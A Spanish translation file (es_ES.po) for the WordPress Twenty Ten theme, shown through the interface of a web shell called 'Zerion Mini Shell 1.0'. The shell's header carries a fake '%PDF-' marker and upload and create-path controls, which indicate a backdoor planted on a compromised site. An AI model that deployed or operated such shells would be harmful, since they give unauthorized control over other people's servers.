%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/dopla/www/wp-content/themes/dopla2019/languages/
Upload File :
Create Path :
Current File : /home/dopla/www/wp-content/themes/dopla2019/languages/es_ES.po

# Translation of Twenty Ten in Spanish (Spain)
# This file is distributed under the same license as the Twenty Ten package.
msgid ""
msgstr ""
"PO-Revision-Date: 2010-07-29 23:39:01+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/0.1\n"
"Project-Id-Version: Twenty Ten\n"

msgid "The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the \"Asides\" and \"Gallery\" categories, and has an optional one-column page template that removes the sidebar."
msgstr ""

#: functions.php:133
msgid "Berries"
msgstr "Bayas"

#: functions.php:97
msgid "Primary Navigation"
msgstr "Navegación primaria"

#: footer.php:35
msgid "Proudly powered by %s."
msgstr "Funciona con  %s."

#: footer.php:34
msgid "Semantic Personal Publishing Platform"
msgstr "Plataforma semántica de publicación personal"

#: footer.php:33
msgid "http://wordpress.org/"
msgstr "http://es.wordpress.org/"

#: comments.php:72
msgid "Comments are closed."
msgstr "Los comentarios están cerrados."

#: comments.php:42 comments.php:61
msgid "Newer Comments <span class=\"meta-nav\">&rarr;</span>"
msgstr "Comentarios nuevos <span class=\"meta-nav\">&rarr;</span>"

#: comments.php:41 comments.php:60
msgid "<span class=\"meta-nav\">&larr;</span> Older Comments"
msgstr "<span class=\"meta-nav\">&larr;</span> Comentarios antiguos"

#: comments.php:35
msgid "One Response to %2$s"
msgid_plural "%1$s Responses to %2$s"
msgstr[0] "Una respuesta a %2$s"
msgstr[1] "%1$s respuestas a %2$s"

#: comments.php:18
msgid "This post is password protected. Enter the password to view any comments."
msgstr "Esta entrada está protegida. Introduce la contraseña para ver los comentarios."

#: category.php:16
msgid "Category Archives: %s"
msgstr "Archivo de la categoría: %s"

#: author.php:37 single.php:40
msgid "About %s"
msgstr "Acerca de %s"

#: author.php:27
msgid "Author Archives: %s"
msgstr "Archivo del Autor: %s"

#: attachment.php:101 loop.php:139 onecolumn-page.php:26 page.php:31
#: single.php:31
msgid "Pages:"
msgstr "Páginas:"

#: attachment.php:100 functions.php:241 loop.php:110 loop.php:138
msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
msgstr "Sigue leyendo <span class=\"meta-nav\">&rarr;</span>"

#: attachment.php:60 attachment.php:107 loop.php:95 loop.php:118 loop.php:160
#: onecolumn-page.php:27 page.php:32 single.php:53
msgid "Edit"
msgstr "Editar"

#: attachment.php:53
msgid "Link to full-size image"
msgstr "Enlace a la imagen completa"

#: attachment.php:50
msgid "Full size is %s pixels"
msgstr "El tamaño completo son %s pixels"

#: attachment.php:40
msgid "<span class=\"%1$s\">Published</span> %2$s"
msgstr "<span class=\"%1$s\">Publicado</span> %2$s"

#: attachment.php:33 functions.php:451
msgid "View all posts by %s"
msgstr "Ver todas las entradas de %s"

#: attachment.php:29
msgid "<span class=\"%1$s\">By</span> %2$s"
msgstr "<span class=\"%1$s\">Por</span> %2$s"

#: attachment.php:20
msgid "<span class=\"meta-nav\">&larr;</span> %s"
msgstr "<span class=\"meta-nav\">&larr;</span> %s"

#: attachment.php:18
msgid "Return to %s"
msgstr "Volver a %s"

#: archive.php:39
msgid "Blog Archives"
msgstr "Archivo del sitio"

#: archive.php:37
msgid "Yearly Archives: <span>%s</span>"
msgstr "Archivo anual: <span>%s</span>"

#: archive.php:35
msgid "Monthly Archives: <span>%s</span>"
msgstr "Archivo mensual: <span>%s</span>"

#: archive.php:33
msgid "Daily Archives: <span>%s</span>"
msgstr "Archivo diario: <span>%s</span>"

#: 404.php:18
msgid "Apologies, but the page you requested could not be found. Perhaps searching will help."
msgstr "Lo sentimos, pero no podemos encontrar lo que estás buscando. Quizás la búsqueda te ayudará."

#: 404.php:16 loop.php:33
msgid "Not Found"
msgstr "No encontrado"

#: functions.php:139
msgid "Cherry Blossoms"
msgstr "Cerezos en flor"

#: functions.php:145
msgid "Concave"
msgstr "Cóncavo"

#: functions.php:151
msgid "Fern"
msgstr "Helecho"

#: functions.php:157
msgid "Forest Floor"
msgstr "Suelo Forestal"

#: functions.php:163
msgid "Inkwell"
msgstr "Tintero"

#: functions.php:169
msgid "Path"
msgstr "Camino"

#: functions.php:175
msgid "Sunset"
msgstr "Puesta del sol"

#: header.php:33
msgid "Page %s"
msgstr "Página %s"

#: functions.php:308
msgid "%s <span class=\"says\">says:</span>"
msgstr "%s <span class=\"says\">dice:</span>"

#: functions.php:311
msgid "Your comment is awaiting moderation."
msgstr "Tu comentario está pendiente de moderación."

#: functions.php:318
msgid "%1$s at %2$s"
msgstr "%1$s en %2$s"

#: functions.php:318 functions.php:335
msgid "(Edit)"
msgstr "(Editar)"

#: functions.php:335
msgid "Pingback:"
msgstr "Pingback: "

#: functions.php:354
msgid "Primary Widget Area"
msgstr "Área primaria de widgets"

#: functions.php:356
msgid "The primary widget area"
msgstr "Área primaria de widgets"

#: functions.php:365
msgid "Secondary Widget Area"
msgstr "Área secundaria de widgets"

#: functions.php:367
msgid "The secondary widget area"
msgstr "Área secundaria de widgets"

#: functions.php:376
msgid "First Footer Widget Area"
msgstr "Primera área de widgets del pie"

#: functions.php:378
msgid "The first footer widget area"
msgstr "Primera área de widgets del pie"

#: functions.php:387
msgid "Second Footer Widget Area"
msgstr "Segunda área de widgets del pie"

#: functions.php:389
msgid "The second footer widget area"
msgstr "Segunda área de widgets del pie"

#: functions.php:398
msgid "Third Footer Widget Area"
msgstr "Tercera área de widgets del pie"

#: functions.php:400
msgid "The third footer widget area"
msgstr "Tercera área de widgets del pie"

#: functions.php:409
msgid "Fourth Footer Widget Area"
msgstr "Cuarta área de widgets del pie"

#: functions.php:411
msgid "The fourth footer widget area"
msgstr "Cuarta área de widgets del pie"

#: functions.php:442
msgid "<span class=\"%1$s\">Posted on</span> %2$s <span class=\"meta-sep\">by</span> %3$s"
msgstr "<span class=\"%1$s\">Publicado el</span> %2$s <span class=\"meta-sep\">por</span> %3$s"

#: functions.php:468
msgid "This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Esta entrada fue publicada en %1$s y etiquetada %2$s. Guarda el <a href=\"%3$s\" title=\"Enlace Permanente a %4$s\" rel=\"bookmark\">enlace permanente</a>."

#: functions.php:470
msgid "This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Esta entrada fue publicada en %1$s. Guarda el <a href=\"%3$s\" title=\"Enlace permanente a %4$s\" rel=\"bookmark\">enlace permanente</a>."

#: functions.php:472
msgid "Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Guarda el <a href=\"%3$s\" title=\"Enlace permanente a %4$s\" rel=\"bookmark\">enlace permanente</a>."

#: header.php:83
msgid "Skip to content"
msgstr "Saltar al contenido"

#: loop.php:25 loop.php:173
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&larr;</span> Entradas más antiguas"

#: loop.php:26 loop.php:174
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "Entradas más nuevas <span class=\"meta-nav\">&rarr;</span>"

#: loop.php:35
msgid "Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post."
msgstr "Lo sentimos, pero no hay resultados para el archivo solicitado. Puede que la búsqueda te ayude a encontrar una entrada relacionada."

#: loop.php:60 loop.php:92
msgctxt "gallery category slug"
msgid "gallery"
msgstr "galería"

#: loop.php:62 loop.php:83 loop.php:126
msgid "Permalink to %s"
msgstr "Enlace permanente a %s"

#: loop.php:82
msgid "This gallery contains <a %1$s>%2$s photos</a>."
msgstr "Esta galería contiene <a %1$s>%2$s fotos</a>."

#: loop.php:92
msgid "View posts in the Gallery category"
msgstr "Ver las entradas en la categoría de la galería"

#: loop.php:92
msgid "More Galleries"
msgstr "Más galerías"

#: loop.php:94 loop.php:117 loop.php:159
msgid "Leave a comment"
msgstr "Deja un comentario"

#: loop.php:94 loop.php:117 loop.php:159
msgid "1 Comment"
msgstr "1 comentario"

#: loop.php:94 loop.php:117 loop.php:159
msgid "% Comments"
msgstr "% comentarios"

#: loop.php:101
msgctxt "asides category slug"
msgid "asides"
msgstr "citas"

#: loop.php:146
msgid "<span class=\"%1$s\">Posted in</span> %2$s"
msgstr "<span class=\"%1$s\">Publicado en</span> %2$s"

#: loop.php:155
msgid "<span class=\"%1$s\">Tagged</span> %2$s"
msgstr "<span class=\"%1$s\">Etiquetado</span> %2$s"

#: search.php:16
msgid "Search Results for: %s"
msgstr "Resultados de la búsqueda para: %s"

#: search.php:26
msgid "Nothing Found"
msgstr "No se ha encontrado nada"

#: search.php:28
msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
msgstr "Lo sentimos, pero nada coincide con tus búsqueda. Por favor, prueba de nuevo con diferentes palabras clave."

#: sidebar.php:27
msgid "Archives"
msgstr "Archivos"

#: sidebar.php:34
msgid "Meta"
msgstr "Meta"

#: single.php:18 single.php:58
msgctxt "Previous post link"
msgid "&larr;"
msgstr "&larr;"

#: single.php:19 single.php:59
msgctxt "Next post link"
msgid "&rarr;"
msgstr "&rarr;"

#: single.php:44
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "Ver todas las entradas por %s <span class=\"meta-nav\">&rarr;</span>"

#: tag.php:16
msgid "Tag Archives: %s"
msgstr "Archivo de la etiqueta: %s"

msgid "Twenty Ten"
msgstr "Twenty Ten"

msgid "the WordPress team"
msgstr "el equipo de WordPress"

msgid "black, blue, white, two-columns, fixed-width, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style"
msgstr "negro, azul, blanco, dos-columnas, ancho-fijo, cabecera-personalizada, fondo-personalizado, comentarios-anidados, entradas-fijas, preparado-para-traducciones, microformatos, soporte-idiomas-rtl, editor-de-estilos"

Zerion Mini Shell 1.0